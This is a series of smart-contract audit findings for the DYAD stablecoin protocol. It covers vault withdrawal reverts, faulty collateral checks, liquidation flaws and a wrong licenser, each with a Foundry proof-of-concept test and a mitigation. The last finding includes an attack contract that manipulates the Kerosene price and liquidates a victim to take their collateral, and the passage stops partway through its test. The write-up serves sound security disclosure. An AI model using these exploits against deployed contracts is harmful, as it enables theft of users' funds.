DYAD - 0xAlix2's results

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L134-L153

Vulnerability details

Impact

There are 2 types of vaults in the protocol, Kerosene (Bounded and Unbounded) and non-Kerosene vaults. Non-Kerosene vaults contain an additional field called oracle that fetches the price of the underlying asset. On the other hand, users can deposit Kerosene tokens in Kerosene vaults, specifically, if they deposited in the Unbounded vault, they should be able to withdraw these Kerosene tokens at a later stage.

When users call VaultManagerV2::withdraw, they pass a vault as an argument, this vault gets parsed as a non-Kerosene vault and accesses the oracle in that vault. In case users want to withdraw from the Unbounded Kerosene, this TX will revert as the Kerosene vault doesn't contain an oracle in its contract.

uint value = amount * _vault.assetPrice() 
        * 1e18 
        / 10**_vault.oracle().decimals() 
        / 10**_vault.asset().decimals();

So, all deposited Kerosene funds will be lost/stuck forever.

Proof of Concept

This assumes that a reported bug is fixed, which is using the correct licenser, to overcome this we had to manually change the licenser in addKerosene and getKeroseneValue.

Make sure to fork the main net and set the block number to 19703450

contract VaultManagerTest is VaultManagerTestHelper {
    Kerosine keroseneV2;
    Licenser vaultLicenserV2;
    VaultManagerV2 vaultManagerV2;
    Vault ethVaultV2;
    VaultWstEth wstEthV2;
    KerosineManager kerosineManagerV2;
    UnboundedKerosineVault unboundedKerosineVaultV2;
    BoundedKerosineVault boundedKerosineVaultV2;
    KerosineDenominator kerosineDenominatorV2;
    OracleMock wethOracleV2;

    address bob = makeAddr("bob");
    address alice = makeAddr("alice");

    ERC20 wrappedETH = ERC20(MAINNET_WETH);
    ERC20 wrappedSTETH = ERC20(MAINNET_WSTETH);
    DNft dNFT = DNft(MAINNET_DNFT);

    function setUpV2() public {
        (Contracts memory contracts, OracleMock newWethOracle) = new DeployV2().runTestDeploy();

        keroseneV2 = contracts.kerosene;
        vaultLicenserV2 = contracts.vaultLicenser;
        vaultManagerV2 = contracts.vaultManager;
        ethVaultV2 = contracts.ethVault;
        wstEthV2 = contracts.wstEth;
        kerosineManagerV2 = contracts.kerosineManager;
        unboundedKerosineVaultV2 = contracts.unboundedKerosineVault;
        boundedKerosineVaultV2 = contracts.boundedKerosineVault;
        kerosineDenominatorV2 = contracts.kerosineDenominator;
        wethOracleV2 = newWethOracle;

        vm.startPrank(MAINNET_OWNER);
        Licenser(MAINNET_VAULT_MANAGER_LICENSER).add(address(vaultManagerV2));
        boundedKerosineVaultV2.setUnboundedKerosineVault(unboundedKerosineVaultV2);
        vm.stopPrank();
    }

    function test_CantWithdrawKerosene() public {
        setUpV2();

        deal(MAINNET_WETH, bob, 100e18);
        deal(MAINNET_WETH, address(ethVaultV2), 10_000e18);

        vm.prank(MAINNET_OWNER);
        keroseneV2.transfer(bob, 100e18);

        uint256 bobNFT = dNFT.mintNft{value: 1 ether}(bob);

        vm.startPrank(bob);
        wrappedETH.approve(address(vaultManagerV2), type(uint256).max);
        keroseneV2.approve(address(vaultManagerV2), type(uint256).max);

        vaultManagerV2.add(bobNFT, address(ethVaultV2));
        vaultManagerV2.addKerosene(bobNFT, address(unboundedKerosineVaultV2));

        vaultManagerV2.deposit(bobNFT, address(ethVaultV2), 1e18);
        vaultManagerV2.deposit(bobNFT, address(unboundedKerosineVaultV2), 1e18);
        vm.stopPrank();

        vm.roll(1);

        vm.prank(bob);
        vm.expectRevert();
        vaultManagerV2.withdraw(bobNFT, address(unboundedKerosineVaultV2), 1e18, bob);
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

Differentiate between Kerosene and non-Kerosene vaults when calculating the Dyad's value in withdraw.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L184-L202

Vulnerability details

Impact

There are 2 types of vaults in the protocol, Kerosene (Bounded and Unbounded) and non-Kerosene vaults. Non-Kerosene vaults contain an additional field called oracle that fetches the price of the underlying asset. On the other hand, users can deposit Kerosene tokens in Kerosene vaults, specifically, if they deposited in the Unbounded vault + some other collateral in a different vault, they can use these to mint Dyad. At a later stage, this Dyad should be redeemable to get deposited Kerosene in return.

When users call VaultManagerV2::redeemDyad, they pass a vault as an argument, this vault gets parsed as a non-Kerosene vault and accesses the oracle in that vault. In case users want to redeem their Dyad to get Kerosene from the Unbounded Kerosene, this TX will revert as the Kerosene vault doesn't contain an oracle in its contract.

uint asset = amount 
      * (10**(_vault.oracle().decimals() + _vault.asset().decimals())) 
      / _vault.assetPrice() 
      / 1e18;

So, all deposited Kerosene funds will be lost/stuck forever.

Proof of Concept

This assumes that a reported bug is fixed, which is using the correct licenser, to overcome this we had to manually change the licenser in addKerosene and getKeroseneValue.

Make sure to fork the main net and set the block number to 19703450

contract VaultManagerTest is VaultManagerTestHelper {
    Kerosine keroseneV2;
    Licenser vaultLicenserV2;
    VaultManagerV2 vaultManagerV2;
    Vault ethVaultV2;
    VaultWstEth wstEthV2;
    KerosineManager kerosineManagerV2;
    UnboundedKerosineVault unboundedKerosineVaultV2;
    BoundedKerosineVault boundedKerosineVaultV2;
    KerosineDenominator kerosineDenominatorV2;
    OracleMock wethOracleV2;

    address bob = makeAddr("bob");
    address alice = makeAddr("alice");

    ERC20 wrappedETH = ERC20(MAINNET_WETH);
    ERC20 wrappedSTETH = ERC20(MAINNET_WSTETH);
    DNft dNFT = DNft(MAINNET_DNFT);

    function setUpV2() public {
        (Contracts memory contracts, OracleMock newWethOracle) = new DeployV2().runTestDeploy();

        keroseneV2 = contracts.kerosene;
        vaultLicenserV2 = contracts.vaultLicenser;
        vaultManagerV2 = contracts.vaultManager;
        ethVaultV2 = contracts.ethVault;
        wstEthV2 = contracts.wstEth;
        kerosineManagerV2 = contracts.kerosineManager;
        unboundedKerosineVaultV2 = contracts.unboundedKerosineVault;
        boundedKerosineVaultV2 = contracts.boundedKerosineVault;
        kerosineDenominatorV2 = contracts.kerosineDenominator;
        wethOracleV2 = newWethOracle;

        vm.startPrank(MAINNET_OWNER);
        Licenser(MAINNET_VAULT_MANAGER_LICENSER).add(address(vaultManagerV2));
        boundedKerosineVaultV2.setUnboundedKerosineVault(unboundedKerosineVaultV2);
        vm.stopPrank();
    }

    function test_CantRedeemDyadForKerosene() public {
        setUpV2();

        deal(MAINNET_WETH, bob, 100e18);
        deal(MAINNET_WETH, address(ethVaultV2), 10_000e18);

        vm.prank(MAINNET_OWNER);
        keroseneV2.transfer(bob, 100e18);

        uint256 bobNFT = dNFT.mintNft{value: 1 ether}(bob);

        vm.startPrank(bob);
        wrappedETH.approve(address(vaultManagerV2), type(uint256).max);
        keroseneV2.approve(address(vaultManagerV2), type(uint256).max);

        vaultManagerV2.add(bobNFT, address(ethVaultV2));
        vaultManagerV2.addKerosene(bobNFT, address(unboundedKerosineVaultV2));

        vaultManagerV2.deposit(bobNFT, address(ethVaultV2), 1e18);
        vaultManagerV2.deposit(bobNFT, address(unboundedKerosineVaultV2), 1e18);

        vaultManagerV2.mintDyad(bobNFT, 2_100e18, bob);
        vm.stopPrank();

        vm.roll(1);

        vm.prank(bob);
        vm.expectRevert();
        vaultManagerV2.redeemDyad(bobNFT, address(unboundedKerosineVaultV2), 1e18, bob);
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

Differentiate between Kerosene and non-Kerosene vaults when calculating the collateral value in redeemDyad.

Assessed type

DoS

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L150

Vulnerability details

Impact

The protocol allows users to deposit both Kerosene and non-Kerosene collateral, to mint Dyad users should have an equal value of non-Kerosene (exogenous) collateral. So users should have 100% non-Kerosene and the rest could be Kerosene collateral.

However, in VaultManagerV2::withdraw, the protocol allows users to withdraw Kerosene and non-Kerosene collateral, by just passing the corresponding vault. When withdrawing it checks if the (non-Kerosene value - withdraw value) is less than the minted Dyad, if so it reverts. This is also checked when withdrawing Kerosene collateral, which is wrong as it's comparing non-Kerosene value with Kerosene value.

Ultimately, this blocks users from withdrawing their Kerosene collateral, even if they should be able to. Let's take an example, a user has 100$ non-Kerosene and 100$ Kerosene collateral, and you have 100 Dyad minted, that's a 200% ratio. If he tries to withdraw 1$ Kerosene, the TX will revert, because getNonKeroseneValue(id) = 100 - value = 1 < Dyad minted = 100, which again is a wrong check.

Proof of Concept

This assumes that a reported bug is fixed, which is using the correct licenser, to overcome this we had to manually change the licenser in addKerosene and getKeroseneValue.

Because of another reported issue, a small change should be made to the code to workaround it, in VaultManagerV2::withdraw, replace _vault.oracle().decimals() with 8

This just sets the oracle decimals to a static value of 8.

Test POC:

Make sure to fork the main net and set the block number to 19703450

contract VaultManagerTest is VaultManagerTestHelper {
    Kerosine keroseneV2;
    Licenser vaultLicenserV2;
    VaultManagerV2 vaultManagerV2;
    Vault ethVaultV2;
    VaultWstEth wstEthV2;
    KerosineManager kerosineManagerV2;
    UnboundedKerosineVault unboundedKerosineVaultV2;
    BoundedKerosineVault boundedKerosineVaultV2;
    KerosineDenominator kerosineDenominatorV2;
    OracleMock wethOracleV2;

    address bob = makeAddr("bob");
    address alice = makeAddr("alice");

    ERC20 wrappedETH = ERC20(MAINNET_WETH);
    ERC20 wrappedSTETH = ERC20(MAINNET_WSTETH);
    DNft dNFT = DNft(MAINNET_DNFT);

    function setUpV2() public {
        (Contracts memory contracts, OracleMock newWethOracle) = new DeployV2().runTestDeploy();

        keroseneV2 = contracts.kerosene;
        vaultLicenserV2 = contracts.vaultLicenser;
        vaultManagerV2 = contracts.vaultManager;
        ethVaultV2 = contracts.ethVault;
        wstEthV2 = contracts.wstEth;
        kerosineManagerV2 = contracts.kerosineManager;
        unboundedKerosineVaultV2 = contracts.unboundedKerosineVault;
        boundedKerosineVaultV2 = contracts.boundedKerosineVault;
        kerosineDenominatorV2 = contracts.kerosineDenominator;
        wethOracleV2 = newWethOracle;

        vm.startPrank(MAINNET_OWNER);
        Licenser(MAINNET_VAULT_MANAGER_LICENSER).add(address(vaultManagerV2));
        boundedKerosineVaultV2.setUnboundedKerosineVault(unboundedKerosineVaultV2);
        vm.stopPrank();
    }

    function test_CannotWithdrawKerosene() public {
        setUpV2();

        vm.prank(MAINNET_OWNER);
        keroseneV2.transfer(bob, 100_000e18);

        deal(MAINNET_WETH, bob, 1_000e18);
        deal(MAINNET_WETH, address(ethVaultV2), 5_000e18);

        uint256 bobNFT = dNFT.mintNft{value: 1 ether}(bob);

        // Bob adds Weth and Unbounded Kerosene vaults to his NFT
        // Bob deposits 1 Weth and 25,000 Kerosene
        // Bob mints Dyad exactly equal to the non-Kerosene value (1 Weth)
        vm.startPrank(bob);
        wrappedETH.approve(address(vaultManagerV2), type(uint256).max);
        keroseneV2.approve(address(vaultManagerV2), type(uint256).max);

        vaultManagerV2.add(bobNFT, address(ethVaultV2));
        vaultManagerV2.addKerosene(bobNFT, address(unboundedKerosineVaultV2));

        vaultManagerV2.deposit(bobNFT, address(ethVaultV2), 1e18);
        vaultManagerV2.deposit(bobNFT, address(unboundedKerosineVaultV2), 25_000e18);

        vaultManagerV2.mintDyad(bobNFT, vaultManagerV2.getNonKeroseneValue(bobNFT), bob);
        vm.stopPrank();

        // Verify that Bob's collateral ratio is greater than 300%
        assertGt(vaultManagerV2.collatRatio(bobNFT), 2 * vaultManagerV2.MIN_COLLATERIZATION_RATIO());

        vm.roll(1);

        // Bob tries to withdraw 1 Kerosene, reverts
        vm.prank(bob);
        vm.expectRevert(abi.encodeWithSelector(IVaultManager.NotEnoughExoCollat.selector));
        vaultManagerV2.withdraw(bobNFT, address(unboundedKerosineVaultV2), 1e18, bob);
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

Differentiate between Kerosene and non-Kerosene USD values when withdrawing either of them.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/Vault.kerosine.unbounded.sol#L50-L68

Vulnerability details

Impact

The protocol expects users to migrate their collateral from V1 vaults to V2 vaults, this significantly increases the TVL of the protocol's V2. At the same time, the Kerosene price depends on the TVL, in UnboundedKerosineVault::assetPrice the numerator of the equation is:

uint256 numerator = tvl - dyad.totalSupply();

This will always revert until the TVL becomes > Dyad's supply, which is around 600k. So when users deposit Kerosene in either Kerosene vaults their Kerosene will temporarily get stuck in there.

Proof of Concept

This assumes that a reported bug is fixed, which is using the correct licenser, to overcome this we had to manually change the licenser in addKerosene and getKeroseneValue.

Because of another reported issue, a small change should be made to the code to workaround it, in VaultManagerV2::withdraw, replace _vault.oracle().decimals() with 8

This just sets the oracle decimals to a static value of 8.

Test POC:

Make sure to fork the main net and set the block number to 19703450

contract VaultManagerTest is VaultManagerTestHelper {
    Kerosine keroseneV2;
    Licenser vaultLicenserV2;
    VaultManagerV2 vaultManagerV2;
    Vault ethVaultV2;
    VaultWstEth wstEthV2;
    KerosineManager kerosineManagerV2;
    UnboundedKerosineVault unboundedKerosineVaultV2;
    BoundedKerosineVault boundedKerosineVaultV2;
    KerosineDenominator kerosineDenominatorV2;
    OracleMock wethOracleV2;

    address bob = makeAddr("bob");
    address alice = makeAddr("alice");

    ERC20 wrappedETH = ERC20(MAINNET_WETH);
    ERC20 wrappedSTETH = ERC20(MAINNET_WSTETH);
    DNft dNFT = DNft(MAINNET_DNFT);

    function setUpV2() public {
        (Contracts memory contracts, OracleMock newWethOracle) = new DeployV2().runTestDeploy();

        keroseneV2 = contracts.kerosene;
        vaultLicenserV2 = contracts.vaultLicenser;
        vaultManagerV2 = contracts.vaultManager;
        ethVaultV2 = contracts.ethVault;
        wstEthV2 = contracts.wstEth;
        kerosineManagerV2 = contracts.kerosineManager;
        unboundedKerosineVaultV2 = contracts.unboundedKerosineVault;
        boundedKerosineVaultV2 = contracts.boundedKerosineVault;
        kerosineDenominatorV2 = contracts.kerosineDenominator;
        wethOracleV2 = newWethOracle;

        vm.startPrank(MAINNET_OWNER);
        Licenser(MAINNET_VAULT_MANAGER_LICENSER).add(address(vaultManagerV2));
        boundedKerosineVaultV2.setUnboundedKerosineVault(unboundedKerosineVaultV2);
        vm.stopPrank();
    }

    function test_InvalidCalculationAssetPrice() public {
        setUpV2();

        deal(MAINNET_WETH, bob, 100e18);

        vm.prank(MAINNET_OWNER);
        keroseneV2.transfer(bob, 100e18);

        uint256 bobNFT = dNFT.mintNft{value: 1 ether}(bob);

        vm.startPrank(bob);

        wrappedETH.approve(address(vaultManagerV2), type(uint256).max);
        keroseneV2.approve(address(vaultManagerV2), type(uint256).max);

        vaultManagerV2.add(bobNFT, address(ethVaultV2));
        vaultManagerV2.addKerosene(bobNFT, address(unboundedKerosineVaultV2));

        vaultManagerV2.deposit(bobNFT, address(ethVaultV2), 1e18);
        vaultManagerV2.deposit(bobNFT, address(unboundedKerosineVaultV2), 1e18);

        vm.roll(1);

        vm.expectRevert(); // Underflow
        vaultManagerV2.withdraw(bobNFT, address(unboundedKerosineVaultV2), 1e18, bob);
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

This is a bit tricky, but I think the most straightforward and logical solution would be to block the usage of the Kerosene vaults (just keep them unlicensed) until enough users migrate their positions from V1, i.e. the TVL reaches the Dyad's total supply. This is discussed with the sponsors.

Assessed type

Under/Overflow

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L205-L228

Vulnerability details

Impact

When a position's collateral ratio drops below 150%, it is subject to liquidation. Upon liquidation, the liquidator burns a quantity of DYAD equal to the target Note’s DYAD minted balance, and in return receives an equivalent value plus a 20% bonus of the liquidated position's collateral. If the collateral ratio is <100%, all the position's collateral should be moved to the liquidator, this logic is done in VaultManagerV2::liquidate.

However, that function is only moving the non-Kerosene collateral to the liquidator, which is wrong. All collateral including Kerosene should be moved to the liquidator in the case of full liquidation. This will affect both the liquidated and liquidator positions:

• Liquidator position will be exposed to loss, as he'll pay some Dyad and won't get enough collateral in return.
• Liquidated position will end up with some collateral after being fully liquidated, where it should end up with 0 collateral of both types.

Proof of Concept

This assumes that a reported bug is fixed, which is using the correct licenser, to overcome this we had to manually change the licenser in addKerosene and getKeroseneValue.

Make sure to fork the main net and set the block number to 19703450

contract VaultManagerTest is VaultManagerTestHelper {
    Kerosine keroseneV2;
    Licenser vaultLicenserV2;
    VaultManagerV2 vaultManagerV2;
    Vault ethVaultV2;
    VaultWstEth wstEthV2;
    KerosineManager kerosineManagerV2;
    UnboundedKerosineVault unboundedKerosineVaultV2;
    BoundedKerosineVault boundedKerosineVaultV2;
    KerosineDenominator kerosineDenominatorV2;
    OracleMock wethOracleV2;

    address bob = makeAddr("bob");
    address alice = makeAddr("alice");

    ERC20 wrappedETH = ERC20(MAINNET_WETH);
    ERC20 wrappedSTETH = ERC20(MAINNET_WSTETH);
    DNft dNFT = DNft(MAINNET_DNFT);

    function setUpV2() public {
        (Contracts memory contracts, OracleMock newWethOracle) = new DeployV2().runTestDeploy();

        keroseneV2 = contracts.kerosene;
        vaultLicenserV2 = contracts.vaultLicenser;
        vaultManagerV2 = contracts.vaultManager;
        ethVaultV2 = contracts.ethVault;
        wstEthV2 = contracts.wstEth;
        kerosineManagerV2 = contracts.kerosineManager;
        unboundedKerosineVaultV2 = contracts.unboundedKerosineVault;
        boundedKerosineVaultV2 = contracts.boundedKerosineVault;
        kerosineDenominatorV2 = contracts.kerosineDenominator;
        wethOracleV2 = newWethOracle;

        vm.startPrank(MAINNET_OWNER);
        Licenser(MAINNET_VAULT_MANAGER_LICENSER).add(address(vaultManagerV2));
        boundedKerosineVaultV2.setUnboundedKerosineVault(unboundedKerosineVaultV2);
        vm.stopPrank();
    }

    function test_NonKeroseneNotMovedOnLiquidate() public {
        setUpV2();

        deal(MAINNET_WETH, bob, 100e18);
        deal(MAINNET_WSTETH, alice, 100e18);
        deal(MAINNET_WETH, address(ethVaultV2), 10_000e18);

        vm.prank(MAINNET_OWNER);
        keroseneV2.transfer(bob, 100e18);

        uint256 bobNFT = dNFT.mintNft{value: 1 ether}(bob);
        uint256 aliceNFT = dNFT.mintNft{value: 1 ether}(alice);

        // Bob adds Weth vault and Bounded Kerosene vault to his NFT
        // Bob deposits 1 Weth and 1 Kerosene
        // Bob mints 2,100 Dyad
        vm.startPrank(bob);
        wrappedETH.approve(address(vaultManagerV2), type(uint256).max);
        keroseneV2.approve(address(vaultManagerV2), type(uint256).max);

        vaultManagerV2.addKerosene(bobNFT, address(boundedKerosineVaultV2));
        vaultManagerV2.add(bobNFT, address(ethVaultV2));

        vaultManagerV2.deposit(bobNFT, address(boundedKerosineVaultV2), 1e18);
        vaultManagerV2.deposit(bobNFT, address(ethVaultV2), 1e18);

        vaultManagerV2.mintDyad(bobNFT, 2_100e18, bob);
        vm.stopPrank();

        // Alice adds WstEth vault and Weth vault to her NFT
        // Alice deposits 1.3 WstEth
        // Alice mints 3,000 Dyad
        vm.startPrank(alice);
        wrappedSTETH.approve(address(vaultManagerV2), type(uint256).max);

        vaultManagerV2.addKerosene(aliceNFT, address(boundedKerosineVaultV2));
        vaultManagerV2.add(aliceNFT, address(wstEthV2));
        vaultManagerV2.add(aliceNFT, address(ethVaultV2));

        vaultManagerV2.deposit(aliceNFT, address(wstEthV2), 1.3e18);

        vaultManagerV2.mintDyad(aliceNFT, 3_000e18, alice);
        vm.stopPrank();

        // Bob not liquidatable
        assertGt(vaultManagerV2.collatRatio(bobNFT), vaultManagerV2.MIN_COLLATERIZATION_RATIO());

        // Weth price drops down
        wethOracleV2.setPrice(wethOracleV2.price() / 2);

        // Bob liquidatable
        assertLt(vaultManagerV2.collatRatio(bobNFT), vaultManagerV2.MIN_COLLATERIZATION_RATIO());
        // Bob's position collateral ratio is less than 100% => All collateral should be moved
        assertLt(vaultManagerV2.collatRatio(bobNFT), 1e18);

        // Alice liquidates Bob's position
        vm.prank(alice);
        vaultManagerV2.liquidate(bobNFT, aliceNFT);

        // Bob loses all non-Kerosene collateral, but keeps Kerosene collateral
        assertEq(vaultManagerV2.getNonKeroseneValue(bobNFT), 0);
        assertGt(vaultManagerV2.getKeroseneValue(bobNFT), 0);
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

Add the following to VaultManagerV2::liquidate:

uint256 numberOfKeroseneVaults = vaultsKerosene[id].length();
for (uint256 i = 0; i < numberOfKeroseneVaults; i++) {
    Vault vault = Vault(vaultsKerosene[id].at(i));
    uint256 collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare);
    vault.move(id, to, collateral);
}

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L205-L228

Vulnerability details

Impact

A position is considered liquidatable if the collateral ratio is <150%. Upon liquidation, the liquidator burns the full amount of the minted Dyad for the liquidated position, in return he gets part or all the position's collateral. But when the collateral ratio is <100%, the liquidator burns X Dyad, and receives Y USD worth of collateral, knowing that X<Y, as the ratio is <100%.

This leads to the liquidator losing money if he ever initializes liquidation for this position. Worse than this, for positions with a ratio <100%, liquidators would have no incentive to liquidate those positions, so these "bad" positions will remain there forever, which will cause a huge loss to the protocol and specifically to the price of the coin.

Proof of Concept

Make sure to fork the main net and set the block number to 19703450

contract VaultManagerTest is VaultManagerTestHelper {
    Kerosine keroseneV2;
    Licenser vaultLicenserV2;
    VaultManagerV2 vaultManagerV2;
    Vault ethVaultV2;
    VaultWstEth wstEthV2;
    KerosineManager kerosineManagerV2;
    UnboundedKerosineVault unboundedKerosineVaultV2;
    BoundedKerosineVault boundedKerosineVaultV2;
    KerosineDenominator kerosineDenominatorV2;
    OracleMock wethOracleV2;

    address bob = makeAddr("bob");
    address alice = makeAddr("alice");

    ERC20 wrappedETH = ERC20(MAINNET_WETH);
    ERC20 wrappedSTETH = ERC20(MAINNET_WSTETH);
    DNft dNFT = DNft(MAINNET_DNFT);

    function setUpV2() public {
        (Contracts memory contracts, OracleMock newWethOracle) = new DeployV2().runTestDeploy();

        keroseneV2 = contracts.kerosene;
        vaultLicenserV2 = contracts.vaultLicenser;
        vaultManagerV2 = contracts.vaultManager;
        ethVaultV2 = contracts.ethVault;
        wstEthV2 = contracts.wstEth;
        kerosineManagerV2 = contracts.kerosineManager;
        unboundedKerosineVaultV2 = contracts.unboundedKerosineVault;
        boundedKerosineVaultV2 = contracts.boundedKerosineVault;
        kerosineDenominatorV2 = contracts.kerosineDenominator;
        wethOracleV2 = newWethOracle;

        vm.startPrank(MAINNET_OWNER);
        Licenser(MAINNET_VAULT_MANAGER_LICENSER).add(address(vaultManagerV2));
        boundedKerosineVaultV2.setUnboundedKerosineVault(unboundedKerosineVaultV2);
        vm.stopPrank();
    }

    function test_LiduidatorLosesMoney() public {
        setUpV2();

        deal(MAINNET_WETH, bob, 100e18);
        deal(MAINNET_WSTETH, alice, 100e18);

        uint256 bobNFT = dNFT.mintNft{value: 1 ether}(bob);
        uint256 aliceNFT = dNFT.mintNft{value: 1 ether}(alice);

        // Bob adds Weth vault to his NFT + deposits 1 Weth
        // Bob mints 2,100 Dyad
        vm.startPrank(bob);
        wrappedETH.approve(address(vaultManagerV2), type(uint256).max);
        vaultManagerV2.add(bobNFT, address(ethVaultV2));
        vaultManagerV2.deposit(bobNFT, address(ethVaultV2), 1e18);
        vaultManagerV2.mintDyad(bobNFT, 2_100e18, bob);
        vm.stopPrank();

        // Alice adds WstEth and Weth vaults to her NFT + deposits 1.3 WstEth
        // Alice mints 3,000 Dyad
        vm.startPrank(alice);
        wrappedSTETH.approve(address(vaultManagerV2), type(uint256).max);
        vaultManagerV2.add(aliceNFT, address(wstEthV2));
        vaultManagerV2.add(aliceNFT, address(ethVaultV2));
        vaultManagerV2.deposit(aliceNFT, address(wstEthV2), 1.3e18);
        vaultManagerV2.mintDyad(aliceNFT, 3_000e18, alice);
        vm.stopPrank();

        // Weth price drops down
        wethOracleV2.setPrice(wethOracleV2.price() / 2);

        uint256 bobMintedDyad = vaultManagerV2.dyad().mintedDyad(address(vaultManagerV2), bobNFT);
        uint256 aliceNonKeroseneBefore = vaultManagerV2.getNonKeroseneValue(aliceNFT);

        // Bob's position is liquidatable
        assertLt(vaultManagerV2.collatRatio(bobNFT), vaultManagerV2.MIN_COLLATERIZATION_RATIO());

        // Alice liquidates Bob's position
        vm.prank(alice);
        vaultManagerV2.liquidate(bobNFT, aliceNFT);

        uint256 aliceNonKeroseneAfter = vaultManagerV2.getNonKeroseneValue(aliceNFT);

        // Alice burnt Dyad and received less than than the burnt value as collateral
        assertGt(bobMintedDyad, aliceNonKeroseneAfter - aliceNonKeroseneBefore);
    }
}

Tools Used

Manual review

Recommended Mitigation Steps

This can be solved by either:

• Allowing non-backed Dyad, where the liquidator burns less than the liquidated position's Dyad, receives full collateral which is greater than the burnt Dyad. The remaining unbacked Dyad is the loss consumed by the protocol.
• Use ERC4626 for vaults and apply shares dilution on <100% liquidation.

Assessed type

Error

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L80-L91

Vulnerability details

Impact

Users who own a dNFT, can add Kerosene and non-Kerosene vaults to their positions in VaultManagerV2. To ensure only "legit" vaults are added, the protocol checks if they are licensed before allowing users to add them. The protocol uses vaultLicenser to check for non-Kerosene vaults' licenses and keroseneManager for Kerosene vaults' licenses, which is wrong. (All of this can be verified by looking at the deploy script).

keroseneManager will include non-Kerosene vaults that are used in the process of calculating the price of Kerosene, so they shouldn't include any Kerosense vaults, they are verified by the sponsors.

When users go ahead and try to add Kerosene vaults to their positions by calling addKerosene, it'll always revert:

if (!keroseneManager.isLicensed(vault)) revert VaultNotLicensed();

As a result, the Kerosene vaults addition and removal logic won't work because of this invalid licenser used.

Proof of Concept

The following steps are taken from the Deploy.V2.s.sol:

1. ethVault, and wstEth vaults are both added to kerosineManager.
2. ethVault, wstEth, unboundedKerosineVault, and boundedKerosineVault vaults are all added to vaultLicenser.
3. A user who owns a dNFT, tries to add a Kerosene vault (boundedKerosineVault) to his position by calling VaultManagerV2::addKerosene.
4. That call will always revert, as the Kerosene isn't and shouldn't be added to the Kerosene manager.

Tools Used

Manual review

Recommended Mitigation Steps

Use vaultLicenser to check if the Kerosine vault is licensed instead of keroseneManager.

Assessed type

Invalid Validation

Lines of code

https://github.com/code-423n4/2024-04-dyad/blob/main/src/core/VaultManagerV2.sol#L134-L153

Vulnerability details

Impact

The Kerosene price depends on the TVL of the protocol, so in theory, whale TXs could cause this price to significantly change. To prevent Kerosene price manipulation, the protocol blocks deposit -> withdraw in the same block. However, they don't block withdraw -> deposit in the same block, so whales can use this anomaly to manipulate the Kerosene price and steal any position's collateral that uses Kerosene as part of its collateral.

A whale can do this by depositing a huge amount of collateral, waiting for a block to pass, and noticing some position they'd like to attack (that has Kerosene as part of its collateral). The whale starts the attack by:

1. Whale mints the same amount of Dyad as the victim.
2. Whale withdraws the rest of the exogenous collateral which is a very huge amount.
3. The victim is now liquidatable, as the Kerosene price dropped significantly, the whale liquidates the victim and takes his collateral (Kerosene + non-Kerosene).
4. The whale deposits the withdrawn amount, and the Kerosene price goes back up as if nothing happened.

Note that all the steps/actions above are done in a single TX.

Proof of Concept

This assumes that a reported bug is fixed, which is using the correct licenser, to overcome this we had to manually change the licenser in addKerosene and getKeroseneValue.

Make sure to fork the main net and set the block number to 19703450

Because of another reported issue, where only non-Kerosene collateral is being transferred on liquidation, the following piece of code should be added at the end of VaultManagerV2::liquidate to demonstrate the correct behavior.

numberOfVaults = vaultsKerosene[id].length();
for (uint256 i = 0; i < numberOfVaults; i++) {
    Vault vault = Vault(vaultsKerosene[id].at(i));
    uint256 collateral = vault.id2asset(id).mulWadUp(liquidationAssetShare);
    vault.move(id, to, collateral);
}

Attack Contract:

contract Attack is ERC721Holder {
    address private owner;
    uint256 private nftId;
    address private wethVault;
    address private unboundedVault;
    ERC20 private weth;
    ERC20 private kerosine;
    VaultManagerV2 private vaultManager;

    modifier onlyOwner() {
        require(msg.sender == owner);
        _;
    }

    function initialize(
        address _weth,
        address _kerosine,
        address _vaultManager,
        uint256 _nftId,
        address _wethVault,
        address _unboundedVault
    ) public {
        owner = msg.sender;
        weth = ERC20(_weth);
        kerosine = ERC20(_kerosine);
        vaultManager = VaultManagerV2(_vaultManager);
        nftId = _nftId;
        wethVault = _wethVault;
        unboundedVault = _unboundedVault;
        weth.approve(address(vaultManager), type(uint256).max);
        kerosine.approve(address(vaultManager), type(uint256).max);
    }

    function addVaultsAndDeposit(uint256 amount) public onlyOwner {
        vaultManager.add(nftId, wethVault);
        vaultManager.addKerosene(nftId, unboundedVault);
        vaultManager.deposit(nftId, wethVault, amount);
    }

    function attack(uint256 victimNftId, uint256 dyadAmount, uint256 withdrawAmount) public onlyOwner {
        vaultManager.mintDyad(nftId, dyadAmount, address(this));
        vaultManager.withdraw(nftId, wethVault, withdrawAmount, address(this));
        vaultManager.liquidate(victimNftId, nftId);
        vaultManager.deposit(nftId, wethVault, withdrawAmount);
    }

    function withdraw(address token, uint256 amount, address to) public onlyOwner {
        ERC20(token).transfer(to, amount);
    }
}

Test:

contract VaultManagerTest is VaultManagerTestHelper {
    Kerosine keroseneV2;
    Licenser vaultLicenserV2;
    VaultManagerV2 vaultManagerV2;
    Vault ethVaultV2;
    VaultWstEth wstEthV2;
    KerosineManager kerosineManagerV2;
    UnboundedKerosineVault unboundedKerosineVaultV2;
    BoundedKerosineVault boundedKerosineVaultV2;
    KerosineDenominator kerosineDenominatorV2;
    OracleMock wethOracleV2;

    address bob = makeAddr("bob");
    address alice = makeAddr("alice");

    ERC20 wrappedETH = ERC20(MAINNET_WETH);
    ERC20 wrappedSTETH = ERC20(MAINNET_WSTETH);
    DNft dNFT = DNft(MAINNET_DNFT);

    function setUpV2() public {
        (Contracts memory contracts, OracleMock newWethOracle) = new DeployV2().runTestDeploy();

        keroseneV2 = contracts.kerosene;
        vaultLicenserV2 = contracts.vaultLicenser;
        vaultManagerV2 = contracts.vaultManager;
